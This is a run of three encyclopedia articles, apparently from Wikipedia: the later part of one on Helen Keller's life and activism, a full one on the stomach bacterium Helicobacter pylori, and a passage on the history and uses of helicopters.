          Sullivan taught her charge to speak using the Tadoma method of touching the lips and throat of others as they speak, combined with fingerspelling letters on the palm of the child's hand. Later Keller learned Braille and used it to read not only English but also French, German, Greek, and Latin.


          


          Formal education


          Starting in May 1888 Keller attended the Perkins Institute for the Blind. In 1894, Helen Keller and Anne Sullivan moved to New York to attend the Wright-Humason School for the Deaf and Horace Mann School for the Deaf. In 1896, they returned to Massachusetts and Keller entered The Cambridge School for Young Ladies before gaining admittance, in 1900, to Radcliffe College. Her admirer Mark Twain had introduced her to Standard Oil magnate Henry Huttleton Rogers, who, with his wife, paid for her education. In 1904, at the age of 24, Keller graduated from Radcliffe magna cum laude, becoming the first deaf blind person to earn a Bachelor of Arts degree.


          


          Companions


          Anne Sullivan stayed as a companion to Helen Keller long after she taught her. Anne married John Macy in 1905, and her health started failing around 1914. Polly Thompson was hired to keep house. She was a young woman from Scotland who didn't have experience with deaf or blind people. She progressed to working as a secretary as well, and eventually became a constant companion to Keller.


          After Anne died in 1936, Keller and Thompson moved to Connecticut. They travelled worldwide raising funding for the blind. Thompson had a stroke in 1957 from which she never fully recovered, and died in 1960.


          Winnie Corbally, a nurse who was originally brought in to care for Polly Thompson in 1957, stayed on after Thompson's death and was Keller's companion for the rest of her life.


          


          Political activities


          Keller went on to become a world-famous speaker and author. She is remembered as an advocate for people with disabilities amid numerous other causes. She was a suffragist, a pacifist, a Wilson opposer, a radical socialist, and a birth control supporter. In 1915, Helen Keller and George Kessler founded the Helen Keller International (HKI) organization. This organization is devoted to research in vision, health and nutrition. In 1920, she helped to found the American Civil Liberties Union (ACLU). Keller and Sullivan traveled to over 39 countries, making several trips to Japan and becoming a favorite of the Japanese people. Keller met every US President from Grover Cleveland to Lyndon B. Johnson and was friends with many famous figures, including Alexander Graham Bell, Charlie Chaplin, and Mark Twain.


          Keller was a member of the Socialist Party and actively campaigned and wrote in support of the working classes from 1909 to 1921. She supported Socialist Party candidate Eugene V. Debs in each of his campaigns for the presidency.


          Keller and her friend Mark Twain were both considered radicals in the socio-political context present in the United States at the beginning of the 20th century, and as a consequence, their political views have been forgotten or glossed over in popular perception. Newspaper columnists who had praised her courage and intelligence before she expressed her socialist views now called attention to her disabilities. The editor of the Brooklyn Eagle wrote that her "mistakes sprung out of the manifest limitations of her development." Keller responded to that editor, referring to having met him before he knew of her political views:


          
            
              	

              	At that time the compliments he paid me were so generous that I blush to remember them. But now that I have come out for socialism he reminds me and the public that I am blind and deaf and especially liable to error. I must have shrunk in intelligence during the years since I met him...Oh, ridiculous Brooklyn Eagle! Socially blind and deaf, it defends an intolerable system, a system that is the cause of much of the physical blindness and deafness which we are trying to prevent.

              	
            

          


          Keller joined the Industrial Workers of the World (known as the IWW or the Wobblies) in 1912, saying that parliamentary socialism was "sinking in the political bog." She wrote for the IWW between 1916 and 1918. In Why I Became an IWW, Keller explained that her motivation for activism came in part from her concern about blindness and other disabilities:


          
            
              	

              	I was appointed on a commission to investigate the conditions of the blind. For the first time I, who had thought blindness a misfortune beyond human control, found that too much of it was traceable to wrong industrial conditions, often caused by the selfishness and greed of employers. And the social evil contributed its share. I found that poverty drove women to a life of shame that ended in blindness.

              	
            

          


          The last sentence refers to prostitution and syphilis, the latter a leading cause of blindness.


          


          Writings


          One of Keller's earliest pieces of writing, at the age of eleven, was The Frost King (1891).


          There were allegations that this story had been plagiarized from The Frost Fairies by Margaret Canby. An investigation into the matter revealed that Keller may have experienced a case of cryptomnesia, which was that she had Canby's story read to her but forgot about it, while the memory remained in her subconscious.


          At the age of 22, Keller published her autobiography, The Story of My Life (1903), with help from Sullivan and Sullivan's husband, John Macy. It includes letters that Keller wrote and the story of her life up to age 21, and was written during her time in college.


          Keller wrote The World I Live In in 1908 giving readers an insight into how she felt about the world. Out of the Dark, a series of essays on Socialism, was published in 1913.


          Her spiritual autobiography, My Religion, was published in 1927 and re-issued as Light in my Darkness. It advocates the teachings of Emanuel Swedenborg, the controversial mystic who gives a spiritual interpretation of the Last Judgment and second coming of Jesus Christ, and the movement named after him, Swedenborgianism.


          In total Keller wrote 12 books and numerous articles.


          


          Akita dog


          When Keller visited Akita Prefecture in Japan in July 1937, she inquired about Hachikō, the famed Akita dog that had died in 1935. She told a Japanese person that she would like to have an Akita dog; one was given to her within a month, with the name of Kamikaze-go. When he died of canine distemper, his older brother, Kenzan-go, was presented to her as an official gift from the Japanese government in July 1938. Keller is credited with having introduced the Akita to the United States through these two dogs.


          By 1939 a breed standard had been established and dog shows had been held, but such activities stopped after World War II began. Keller wrote in the Akita Journal:


          
            
              	

              	If ever there was an angel in fur, it was Kamikaze. I know I shall never feel quite the same tenderness for any other pet. The Akita dog has all the qualities that appeal to me  he is gentle, companionable and trusty.

              	
            

          


          


          Portrayals of Helen Keller


          Keller's life has been interpreted many times. She appeared in a silent film, Deliverance (1919), which told her story in a melodramatic, allegorical style.


          She was also the subject of the documentaries Helen Keller in Her Story, narrated by Katharine Cornell, and The Story of Helen Keller, part of the Famous Americans series produced by Hearst Entertainment.


          The Miracle Worker is a cycle of dramatic works ultimately derived from her autobiography, The Story of My Life. The various dramas each describe the relationship between Keller and Sullivan, depicting how the teacher led her from a state of almost feral wildness into education, activism, and intellectual celebrity. The common title of the cycle echoes Mark Twain's description of Sullivan as a "miracle worker". Its first realization was the 1957 Playhouse 90 teleplay of that title by William Gibson. He adapted it for a Broadway production in 1959 and an Oscar-winning feature film in 1962. It was remade for television in 1969 and 2000.


          She was also the subject of the documentaries Helen Keller in Her Story, narrated by Katharine Cornell, and The Story of Helen Keller, part of the Famous Americans series produced by Hearst Entertainment.


          In 1984, Helen Keller's life story was made into a TV movie called The Miracle Continues. This film that entailed the semi-sequel to The Miracle Worker recounts her college years and her early adult life. None of the early movies hint at the social activism that would become the hallmark of Keller's later life, although The Walt Disney Company version produced in 2000 states in the credits that she became an activist for social equality.


          The Bollywood movie Black (2005) was largely based on Keller's story, from her childhood to her graduation. A documentary called Shining Soul: Helen Keller's Spiritual Life and Legacy was produced by the Swedenborg Foundation in the same year. The film focuses on the role played by Emanuel Swedenborg's spiritual theology in her life and how it inspired Keller's triumph over her triple disabilities of blindness, deafness and a severe speech impediment.


          On March 6, 2008, the New England Historic Genealogical Society announced that a staff member had discovered a rare 1888 photograph showing Helen and Anne, which, although previously published, had escaped widespread attention. Depicting Helen holding one of her many dolls, it is believed to be the earliest surviving photograph of Anne.


          In 2008 Arcana Comics began publishing Helen Killer, a comic book by Andrew Kreisberg with art by Matthew Rice. In it, a college aged Keller is given a device which allows her to see and hear and which increases her physical abilities, at which point she is hired to protect the President of the United States.


          


          Posthumous honours
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          In 1999, Keller was listed in Gallup's Most Widely Admired People of the 20th Century.


          In 2003, Alabama honored its native daughter on its state quarter.


          The Helen Keller Hospital in Sheffield, Alabama is dedicated to her.


          There is a street named after Helen Keller in Getafe, Spain.


          In 1984, Helen Keller's life story was made into a TV movie called The Miracle Continues.
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                    	Kingdom:

                    	Bacteria

                  


                  
                    	Phylum:

                    	Proteobacteria

                  


                  
                    	Class:

                    	Epsilon Proteobacteria

                  


                  
                    	Order:

                    	Campylobacterales

                  


                  
                    	Family:

                    	Helicobacteraceae

                  


                  
                    	Genus:

                    	Helicobacter

                  


                  
                    	Species:

                    	H. pylori

                  

                

              
            


            
              	Binomial name
            


            
              	
                Helicobacter pylori

                ((Marshall et al. 1985) Goodwin et al. 1989)

                ICD-9 code: 041.86

              
            

          


          Helicobacter pylori (pronounced /ˌhɛlɪkəˈbktɚ paɪˈlɔəraɪ} or British {pronEng/) is a gram-negative, microaerophilic bacterium that infects various areas of the stomach and duodenum. Many cases of peptic ulcers, gastritis, duodenitis, and cancers are caused by H. pylori infections. However, many who are infected do not show any symptoms of disease. H. pylori's helical shape (from which the genus name is derived) is thought to have evolved to penetrate and favour its motility in the mucus gel layer.


          


          History


          In 1875, German scientists found helical shaped bacteria in the lining of the human stomach. The bacteria could not be grown in culture and the results were eventually forgotten. In 1893, the Italian researcher Giulio Bizzozero described helical shaped bacteria living in the acidic environment of the stomach of dogs. Professor Walery Jaworski of the Jagiellonian University in Krakw investigated sediments of gastric washings obtained from humans in 1899. Among some rod-like bacteria, he also found bacteria with a characteristic helical shape, which he called Vibrio rugula. He was the first to suggest a possible role of this organism in the pathogeny of gastric diseases. This work was included in the "Handbook of Gastric Diseases", but it did not have much impact because it was written in Polish.


          The bacterium was rediscovered in 1979 by Australian pathologist Robin Warren, who did further research on it with Australian physician Barry Marshall beginning in 1981; they isolated the organisms from mucosal specimens from human stomachs and were the first to successfully culture them. In their original paper, Warren and Marshall contended that most stomach ulcers and gastritis were caused by infection by this bacterium and not by stress or spicy food as had been assumed before.


          The medical community was slow to recognize the role of this bacterium in stomach ulcers and gastritis, believing that no microorganism could survive for long in the acidic environment of the stomach. The community began to come around after further studies were done, including one in which Marshall drank a Petri dish of H. pylori, developed gastritis, and the bacteria were recovered from his stomach lining, thereby satisfying three out of the four of Koch's postulates. The fourth was satisfied after a second endoscopy ten days after inoculation revealed signs of gastritis and the presence of "H. pylori". Marshall was then able to treat himself using a fourteen day dual therapy with bismuth salts and metronidazole. Marshall and Warren went on to show that antibiotics are effective in the treatment of many cases of gastritis. In 1994, the National Institutes of Health (USA) published an opinion stating that most recurrent gastric ulcers were caused by H. pylori, and recommended that antibiotics be included in the treatment regimen. Evidence has been accumulating to suggest that duodenal ulcers are also associated with H. pylori infection. In 2005, Warren and Marshall were awarded the Nobel Prize in Medicine for their work on H. pylori.


          Before the appreciation of the bacterium's role, stomach ulcers were typically treated with medicines that neutralize gastric acid or decrease its production. While this worked well, the ulcers very often reappeared. At one time, bismuth subsalicylate was commonly used to treat gastritis and peptic ulcers. It was often effective, but fell out of use, since its mechanism of action was a mystery. Nowadays it is quite clear that it is due to the bismuth salt acting as an antibiotic. Today, many stomach ulcers are treated with antibiotics effective against H. pylori.


          The bacterium was initially named Campylobacter pyloridis, then C. pylori (after a correction to the Latin grammar) and in 1989, after DNA sequencing and other data showed that the bacterium did not belong in the Campylobacter genus, it was placed in its own genus, Helicobacter. The name pylōri means "of the pylorus" or pyloric valve (the circular opening leading from the stomach into the duodenum), from the Greek word ό, which means gatekeeper.


          While H. pylori remains the most medically important bacterial inhabitant of the human stomach, other species of the Helicobacter genus have been identified in other mammals and some birds, and some of these can infect humans. Helicobacter species have also been found to infect the livers of certain mammals and to cause liver disease.


          


          Structure


          H. pylori is a helical shaped Gram-negative bacterium, about 3 micrometres long with a diameter of about 0.5 micrometre. It has 46 flagella. It is microaerophilic, i.e. it requires oxygen but at lower levels than those contained in the atmosphere. It contains a hydrogenase which can be used to obtain energy by oxidizing molecular hydrogen (H2) that is produced by other intestinal bacteria. It tests positive for oxidase, catalase, and urease. It is capable of forming biofilms and conversion from helical to coccoid form, both likely to favour its survival and be factors in the epidemiology of the bacterium. The coccoid form of the organism has not been cultured, but has been found in the water supply in the US. This form has also been found to be able to adhere to gastric epithelial cells in vitro.


          H. pylori possesses five major outer membrane protein (OMP) families. Each OMP appears to have specific functions. All gastric and enterohepatic Helicobacter species are highly motile due to a flagella. The characteristic sheathed flagellar filaments of helicobacters are composed of two copolymerized flagellins, FlaA and FlaB. Flagellar motility is essential for Helicobacter species to colonize the gastric mucus.


          


          


          Colonization


          With its flagella, the bacterium moves through the stomach lumen and drills into the mucus gel layer of the stomach. It then finds ways to live in various areas of the stomach. The known areas include: inside the mucus gel layer (with a preference for the superficial area), above epithelial cells, and inside vacuoles formed by H. pylori in epithelial cells. It produces adhesins which bind to membrane-associated lipids and carbohydrates and help its adhesion to epithelial cells. An example of this is the Lewis b antigen. It produces large amounts of urease enzymes which are localized inside and outside of the bacterium. Urease metabolizes urea (which is normally secreted into the stomach) to carbon dioxide and ammonia (which neutralizes gastric acid). The survival of H. pylori in the acidic stomach is dependent on urease, and it would eventually die without it. The ammonia that is produced is toxic to the epithelial cells, and, along with the other products of H. pyloriincluding protease, catalase and certain phospholipasescauses damage to those cells.


          Some strains of the bacterium have a particular mechanism for "injecting" the inflammatory inducing agents peptidoglycan from their own cell wall into epithelial stomach cells. (See below for "cagA pathogenicity island" in the section Genome studies of different strains) This factor may play a role in allowing certain strains to invade host tissue.


          


          Causes of infection


          H. pylori is a contagious bacterium. Many researchers think that H. pylori is transmitted orally by means of fecal matter through the ingestion of waste tainted food or water. A clean and hygienic environment can help decrease the risk of H. pylori infection.


          There is experimental evidence, however, to show that Heliobacter species are not, in fact transmitted via the fecal-oral route, but rather through oral-oral contact.


          


          Diagnosis of infection
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          Diagnosis of infection is usually made by checking for dyspeptic symptoms and then doing tests which can suggest H. pylori infection. One can test noninvasively for H. pylori infection with a blood antibody test, stool antigen test, or with the carbon urea breath test (in which the patient drinks 14C- or 13C-labelled urea, which the bacterium metabolizes producing labelled carbon dioxide that can be detected in the breath). However, the most reliable method for detecting H. pylori infection is a biopsy check during endoscopy with a rapid urease test, histological examination, and microbial culture. None of the test methods is completely failsafe. Even biopsy is dependent on the location of the biopsy. Blood antibody tests, for example, range from 76% to 84% sensitivity. Some drugs can affect H. pylori urease activity and give "false negatives" with the urea-based tests.


          Infection may be symptomatic or asymptomatic (without perceptible ill effects). It is estimated that up to 70% of infection is asymptomatic and that about 2/3 of the world population are infected by the bacterium, making it the most widespread infection in the world. Actual infection rates vary from nation to nation - the West (Western Europe, North America, Australasia) having rates around 25% and much higher in the Third World. In the latter, it is common, probably due to poor sanitary conditions, to find infections in children. In the United States, infection is primarily in the older generations (about 50% for those over the age of 60 compared with 20% under 40 years) and the poorest.


          This is largely attributed to higher hygiene standards and widespread use of antibiotics. However, antibiotic resistance is appearing in H. pylori. There are already many metronidazole resistant strains in Europe, the United States, and developing countries.


          The bacteria have been isolated from feces, saliva and dental plaque of infected patients, which suggests gastro-oral or fecal-oral as possible transmission routes.


          It is widely believed that in the absence of treatment, H. pylori infectiononce established in its gastric nichepersists for life. In the elderly, however, it is likely infection can disappear as the stomach's mucosa becomes increasingly atrophic and inhospitable to colonization. The proportion of acute infections that persist is not known, but several studies that followed the natural history in populations have reported apparent spontaneous elimination.


          


          Treatment of infection
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          In peptic ulcer patients where infection is detected, the normal procedure is eradicating H. pylori to allow the ulcer to heal. The standard first-line therapy is a one week triple therapy. The Sydney gastroenterolgist Thomas Borody invented the first triple therapy in 1987. Today, the standard triple therapy is amoxicillin, clarithromycin and a proton pump inhibitor such as omeprazole. Variations of the triple therapy have been developed over the years, such as using a different proton pump inhibitor, as with pantoprazole or rabeprazole, or using metronidazole instead of amoxicillin in those allergic to penicillin. Such a therapy has revolutionised the treatment of peptic ulcers and has made a cure to the disease possible, where previously symptom control using antacids, H2-antagonists or proton pump inhibitors alone was the only option.


          A meta-analysis of randomized controlled trials suggests that supplementation with probiotics can improve eradication rates and reduce adverse events.


          Unfortunately, an increasing number of infected individuals are found to harbour antibiotic-resistant bacteria. This results in initial treatment failure and requires additional rounds of antibiotic therapy or alternative strategies such as a quadruple therapy. Bismuth compounds are also effective in combination with the above drugs. For the treatment of clarithromycin-resistant strains of H. pylori the use of levofloxacin as part of the therapy has been suggested.


          Some studies show that consumption of broccoli sprouts can be effective at inhibiting H. pylori growth with sulforaphane being at least one of the active agents.


          Some studies show that mastic gum can destroy H. pylori in vitro, but studies done in vivo have shown it to be ineffective in short trials.


          A study done on Mongolian gerbils indicates that green tea extract can suppress H. pylori growth. Another study done in South Korea suggests that an acidic polysaccharide found in green tea is significantly effective in preventing adhesion of H. pylori to human cultures of epithelial cells.


          As explained below, some authors suggest that some strains of H. pylori may be protective against certain diseases of the esophagus and cardia. Therefore, a more cautious approach than complete eradication may be necessary in some cases.


          


          Helicobacter and cancer


          Two related mechanisms by which H. pylori could promote cancer are under investigation. One mechanism involves the enhanced production of free radicals near H. pylori and an increased rate of host cell mutation. The other proposed mechanism has been called a "perigenetic pathway" and involves enhancement of the transformed host cell phenotype by means of alterations in cell proteins such as adhesion proteins. It has been proposed that H. pylori induces inflammation and locally high levels of TNF-alpha and/or interleukin 6. According to the proposed perigenetic mechanism, inflammation-associated signaling molecules such as TNF-alpha can alter gastric epithelial cell adhesion and lead to the dispersion and migration of mutated epithelial cells without the need for additional mutations in tumor suppressor genes such as genes that code for cell adhesion proteins.


          


          Acid reflux and esophageal cancer


          As the incidence of gastric cancer has decreased, the incidences of gastroesophageal reflux disease and esophageal cancer have increased dramatically. In 1996, Martin J. Blaser put forward the theory that H. pylori might also have a beneficial effect: by regulating the acidity of the stomach contents, it lowers the impact of regurgitation of gastric acid into the esophagus. While some favorable evidence has been accumulated, as of 2005 the theory is not universally accepted.


          


          Genome studies of different strains
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          Several strains are known, and the genomes of two have been completely sequenced. The genome of the strain "26695" consists of about 1.7 million base pairs, with some 1550 genes. The two sequenced strains show large genetic differences, with up to 6% of the nucleosides differing.


          Study of the H. pylori genome is centered on attempts to understand pathogenesis, the ability of this organism to cause disease. There are 62 genes in the "pathogenesis" category of the genome database. Both sequenced strains have an approximately 40 kb long Cag pathogenicity island (a common gene sequence believed responsible for pathogenesis) that contains over 40 genes. This pathogenicity island is usually absent from H. pylori strains isolated from humans who are carriers of H. pylori but remain asymptomatic.


          The cagA gene codes for one of the major H. pylori virulence proteins. Bacterial strains that have the cagA gene are associated with an ability to cause severe ulcers. The cagA gene codes for a relatively long (1186 amino acid) protein. The CagA protein is transported into human cells where it may disrupt the normal functioning of the cytoskeleton. The cag pathogenicity island has about 30 genes part of which code for a complex type IV secretion system. After attachment of H.pylori to stomach epithelial cells, the CagA protein is injected into the epithelial cells by the type IV secretion system. The CagA protein is phosphorylated on tyrosine residues by a host cell membrane-associated tyrosine kinase. Pathogenic strains of H. pylori have been shown to activate the epidermal growth factor receptor (EGFR), a membrane protein with a tyrosine kinase domain. Activation of the EGFR by H. pylori is associated with altered signal transduction and gene expression in host epithelial cells that may contribute to pathogenesis. It has also been suggested that a c-terminal region of the CagA protein (amino acids 8731002) can regulate host cell gene transcription independent of protein tyrosine phosphorylation. It is thought, due to cagA's low GC content relative to the rest of the helicobacter genome, that the gene was acquired by horizontal transfer from another cagA+ bacterial species.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Helicobacter_pylori"
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          A helicopter is an aircraft which is lifted and propelled by one or more horizontal rotors, each rotor consisting of two or more rotor blades. Helicopters are classified as rotorcraft or rotary-wing aircraft to distinguish them from fixed-wing aircraft because the helicopter derives its source of lift from the rotor blades rotating around a mast. The word 'helicopter' is adapted from the French hélicoptère, coined by Gustave de Ponton d'Amecourt in 1861. It is linked to the Greek words helix/helik- (ἕλικ-) = "spiral" or "turning" and pteron (πτερόν) = "wing".


          As an aircraft, the primary advantages of the helicopter are due to the rotor blades that revolve through the air, providing lift without requiring the aircraft to move forward the way an airplane does. This creates the ability for the helicopter to take off and land vertically without the need for runways. For this reason, helicopters are often used to operate in congested or isolated areas where airplanes are generally not able to take off or land. The lift from the rotor also allows the helicopter to hover in one area for extended periods of time, and to do so more efficiently than other forms of vertical take-off and landing ( VTOL) aircraft, allowing it to accomplish tasks that airplanes are unable to perform.


          Although helicopters were developed and built during the first half-century of flight, some even reaching limited production, it wasn't until 1942 that a helicopter designed by Igor Sikorsky became the first helicopter to enter full-scale production, with 131 aircraft built. Even though most previous designs utilized more than one main rotor, it was the single main rotor with antitorque tail rotor configuration of this design that would come to be recognized worldwide as the helicopter.


          
            
              
                	
              

            
          


          


          History


          Since 400 BC, Chinese children have played with a bamboo flying top. Eventually, this flying top made it to Europe and is depicted in a 1463 European painting. Pao Phu Tau (抱朴子) was a 4th-century book in China reported to describe some of the ideas inherent to rotary wing aircraft:
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                	“

                	Someone asked the master about the principles of mounting to dangerous heights and traveling into the vast inane. The Master said, "Some have made flying cars with wood from the inner part of the jujube tree, using ox-leather [straps] fastened to returning blades so as to set the machine in motion."

                	”
              

            
          


          Leonardo da Vinci conceived a machine that could be described as an "aerial screw". He wrote that he made small flying models but could not stop the rotor from making the whole craft rotate. Later machines would more closely resemble the ancient bamboo flying top, with spinning wings rather than screws.


          In July 1754, Mikhail Lomonosov showed the Russian Academy of Sciences a small coaxial rotor powered by a wound-up spring, intended to lift meteorological instruments.


          In 1783, Christian de Launoy, and his mechanic, Bienvenu, made a model pair of counter-rotating rotors (not coaxial) using turkey's flight feathers as rotor blades, and in 1784 demonstrated it to the French Academy of Sciences.


          In 1861, the word "helicopter" was coined by Gustave de Ponton d'Amécourt, a French inventor who demonstrated a small steam-powered model.


          From 1860 to 1880, many small helicopter models were designed and made. These included Alphonse Pénaud's model coaxial rotors, powered by twisted rubber bands (1870). Enrico Forlanini's unmanned helicopter was powered by a steam engine. It was the first of its type that rose to a height of 13 meters, where it remained for some 20 seconds, after a vertical take-off from a park in Milan (1877). Emmanuel Dieuaide's design featured counter-rotating rotors and was steam-powered through a hose from a boiler on the ground (1877). Melikoff designed a man-carrier, but it was almost certainly not built (1877). Dandrieux's design had counter-rotating rotors and a 7.7-pound (3.5-kilogram) steam engine. It rose more than 40 feet (12 meters) and flew for 20 seconds (circa 1878).


          In the 1880s, Thomas Edison experimented with small helicopter models in the USA. First with a guncotton-powered engine, which caused damage by explosions, and tests were ended. Next he used an electric motor. His tests showed that a large rotor with low blade area was needed.


          Ján Bahýľ, a Slovak inventor, developed a model helicopter powered by an internal combustion engine, that in 1901 reached a height of 0.5 meters. On May 5, 1905 his helicopter reached 4 meters in altitude and flew for over 1500 meters.


          


          First flights


          In 1906, two French brothers, Jacques and Louis Breguet, began experimenting with airfoils for helicopters and in 1907, those experiments resulted in the Gyroplane No.1. Although there is some discrepancy about the dates, sometime between 14 August and 29 September 1907, the Gyroplane No. 1 lifted its pilot up into the air about two feet (0.6 meters) for a minute. However, the Gyroplane No. 1 proved to be extremely unsteady and required a man at each corner of the airframe to hold it steady. For this reason, the flights of the Gyroplane No. 1 are considered to be the first manned flight of a helicopter, but not a free or untethered flight.


          That same year, fellow French inventor Paul Cornu designed and built a helicopter that used two 20-foot (6-meter) counter-rotating rotors driven by a 24-hp (18-kW) Antoinette engine. On November 13, 1907, it lifted its inventor to 1 foot (0.3 meters) and remained aloft for 20 seconds. Although this flight was smaller in its achievement than that of the Breguet brothers, it was greater in accomplishment in that it was the first true free flight with a pilot. The Cornu helicopter would achieve a height of nearly 2 meters but also proved to be unstable and was abandoned after only a few flights.


          


          Early development


          In the early 1920s, Raul Pateras Pescara, an Argentinian working in Europe, demonstrated one of the first successful applications of cyclic pitch. His coaxial, contra-rotating, biplane rotors were able to be warped to cyclically increase and decrease the lift they produced; and the rotor hub could also tilt, both allowing the aircraft to move laterally without a separate propeller to push or pull it. Pescara is also credited with demonstrating the principle of autorotation, the method by which helicopters land safely after engine failure. By January 1924, Pescara's helicopter No. 3 was capable of flights up to 10 minutes.


          One of Pescara's contemporaries, Frenchman Etienne Oemichen, set the first helicopter world record recognized by the Fédération Aéronautique Internationale (FAI) on 14 April 1924, flying his helicopter 360 meters (1,181 feet). On 18 April 1924, Pescara beat Oemichen's record, flying for a distance of 736 m (nearly a half mile) in 4 minutes and 11 seconds (about 8 mph, 13 km/h) maintaining a height of six feet. Not to be outdone, Oemichen reclaimed the world record on 4 May when he flew his No. 2 machine again for a 14-minute flight covering 5,550 feet (1.05 mi, 1.692 km) while climbing to a height of 50 feet (15 meters). Oemichen also set the 1-km closed-circuit record at 7 minutes 40 seconds.


          Meanwhile, Juan de la Cierva was developing and introducing the first practical rotorcraft in Spain. In 1923, the aircraft that would become the basis for the modern helicopter rotor began to take shape in the form of an autogyro, Cierva's C.4. Cierva had discovered aerodynamic and structural deficiencies in his early designs that could cause his autogyros to flip over after takeoff. The flapping hinges that Cierva designed for the C.4 allowed the rotor to develop lift equally on the left and right halves of the rotor disk. A crash in 1927 led to the development of a drag hinge to relieve further stress on the rotor from its flapping motion. These two developments allowed for a stable rotor system, not only in a hover, but in forward flight.


          Albert Gillis von Baumhauer, a Dutch aeronautical engineer, began studying rotorcraft design in 1923. His first prototype 'flew' ('hopped' and hovered really) on September 24, 1925, with Dutch Army-Air arm Captain Floris Albert van Heijst at the controls. The controls that Captain van Heijst used were Von Baumhauer's inventions, the cyclic and collective. Patents were granted to von Baumhauer for his cyclic and collective controls by the British ministry of aviation on 31 January 1927, under patent number 265,272.


          In 1930, the Italian engineer Corradino D'Ascanio built his D'AT3, a coaxial helicopter. His relatively large machine had two, two-bladed, counter-rotating rotors. Control was achieved by using auxiliary wings or servo-tabs on the trailing edges of the blades, a concept that was later adopted by other helicopter designers, including Bleeker and Kaman. Three small propellers mounted to the airframe were used for additional pitch, roll, and yaw control. The D'AT3 held modest FAI speed and altitude records for the time, including altitude (18 m), duration (8 minutes 45 seconds) and distance flown (1,078 m).


          The Bréguet-Dorand Gyroplane Laboratoire was built in 1933. After many ground tests and an accident, it first took flight on 26 June 1935. Within a short time, the aircraft was setting records with pilot Maurice Claisse at the controls. On 14 December 1935 he set a record for closed-circuit flight with a 500 m diameter. The next year, on 26 September 1936, Claisse set a height record of 158 m. And, finally, on 24 November 1936, he set a flight duration record of one hour, two minutes and 5 seconds over a 44 km closed circuit at 44.7 km/h. The aircraft was destroyed in 1943 by an Allied air strike at Villacoublay airport.


          


          Birth of an industry


          Despite the success of the Gyroplane Laboratoire, the German Focke-Wulf Fw 61, first flown in 1936, would eclipse its accomplishments. The Fw 61 broke all of the helicopter world records in 1937, demonstrating a flight envelope that had only previously been achieved by the autogyro. In February 1938, Hanna Reitsch became the first female helicopter pilot, exhibiting the Fw 61 before crowds in the Deutschlandhalle.


          Nazi Germany would use helicopters in small numbers during World War II for observation, transport, and medical evacuation. The Flettner Fl 282 Kolibri synchropter was used in the Mediterranean Sea, while the Focke Achgelis Fa 223 Drache was used in Europe. Extensive bombing by the Allied forces prevented Germany from producing any helicopters in large quantities during the war.


          In the United States, Igor Sikorsky and W. Lawrence LePage, were competing to produce the United States military's first helicopter. Prior to the war, LePage had received the patent rights to develop helicopters patterned after the Fw 61, and built the XR-1, utilizing the transverse rotor layout. Meanwhile, Sikorsky, had settled on a simpler, single rotor design, the VS-300. After experimenting with configurations to counteract the torque produced by the single main rotor, he settled on a single, smaller rotor mounted vertically on the tailboom.


          Developed from the VS-300, Sikorsky's R-4 became the first mass produced helicopter with a production order for 100 aircraft. The R-4 was the only Allied helicopter to see service in World War II, primarily being used for rescue in Burma, Alaska, and other areas with harsh terrain. Total production would reach 131 helicopters before the R-4 was replaced by other Sikorsky helicopters such as the R-5 and the R-6. In all, Sikorsky would produce over 400 helicopters before the end of World War II.


          As LePage and Sikorsky were building their helicopters for the military, Bell Aircraft hired Arthur Young to help build a helicopter using Young's semi-rigid, teetering-blade rotor design, which utilized a weighted stabilizing bar. The subsequent Model 30 helicopter demonstrated the simplicity and ease of the design. The Model 30 was developed into the Bell 47, which became the first aircraft certificated for civilian use in the United States. Produced in several countries, the Bell 47 would become the most popular helicopter model for nearly 30 years.


          


          Turbine age


          In 1951, at the urging of his contacts at the Department of the Navy, Charles H. Kaman modified his Ka-225 helicopter with a new kind of engine, the turboshaft engine. This adaptation of the turbine engine provided a large amount of horsepower to the helicopter with a lower weight penalty than piston engines, with their heavy engine blocks and auxiliary components. On 11 December 1951, the Ka-225 became the first turbine-powered helicopter in the world. Two years later, on 26 March 1954, a modified Navy HTK-1, another Kaman helicopter, became the first twin-turbine helicopter to fly. However, it was the Sud Aviation Alouette II that would become the first helicopter to be produced with a turbine-engine.


          Reliable helicopters capable of stable hover flight were developed decades after fixed-wing aircraft. This is largely due to higher engine power density requirements than fixed-wing aircraft. Improvements in fuels and engines during the first half of the 20th century were a critical factor in helicopter development. The availability of lightweight turboshaft engines in the second half of the 20th century led to the development of larger, faster, and higher-performance helicopters. While smaller and less expensive helicopters still use piston engines, turboshaft engines are the preferred powerplant for helicopters today.


          


          Uses
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          Due to the unique operating characteristics of the helicopter—its ability to takeoff and land vertically, and to hover for extended periods of time, as well as the aircraft's handling properties under low airspeed conditions—it has grown increasingly popular for conducting tasks that were previously not possible, or were time- or work-intensive. Today, helicopters are used for transportation, for construction, for firefighting, search and rescue, and a variety of other jobs that require the special capabilities of the helicopter.


          As aerial cranes, helicopters carry loads connected to long cables or slings in order to place heavy equipment such as transmission towers and large air conditioning units on the tops of tall buildings or when an item must be raised up in a remote area, such as a radio tower raised on the top of a hill or mountain, far from the nearest road. The most popular use of helicopters as aerial cranes is in the logging industry to lift large trees out of rugged terrain where vehicles aren't able to reach, or where environmental concerns prohibit the building of roads. These operations are referred to as longline because of the long, single sling line used to carry the load.


          Aerial firefighting (or water bombing) is a method to combat wildfires that often uses helicopters. Helicopters may be fitted with tanks or carry buckets or deliver firefighters who rappel to the ground below. Buckets, such as the Bambi bucket, are usually filled by submerging in lakes, rivers, reservoirs, or portable tanks. Tanks may be filled on the ground or water may be siphoned from lakes or reservoirs through a hanging snorkel. Helicopters are also used to resupply firefighters on the ground with tools, food, water and other supplies. Popular firefighting helicopters include variants of the Bell 205 and the Erickson S-64 Aircrane helitanker.


          Helicopters are used as an air ambulance for emergency medical assistance in situations where either a traditional ambulance cannot easily or quickly reach the scene or when a patient needs to be transported at a distance where air transportation is most practical. Air ambulance helicopters are equipped to provide medical treatment to a critically injured or ill patient while in flight. The use of helicopters as an air ambulance is often referred to as MEDEVAC, and patients are referred to as being "airlifted", or "medevaced".


          Police departments and other law enforcement agencies use helicopters to search for and pursue suspects. Since helicopters can achieve a unique aerial view and don't need to negotiate ground obstacles, they are often used in conjunction with police on the ground to report on suspects' locations and movements. They are often mounted with lighting and heat-sensing equipment for night pursuits.


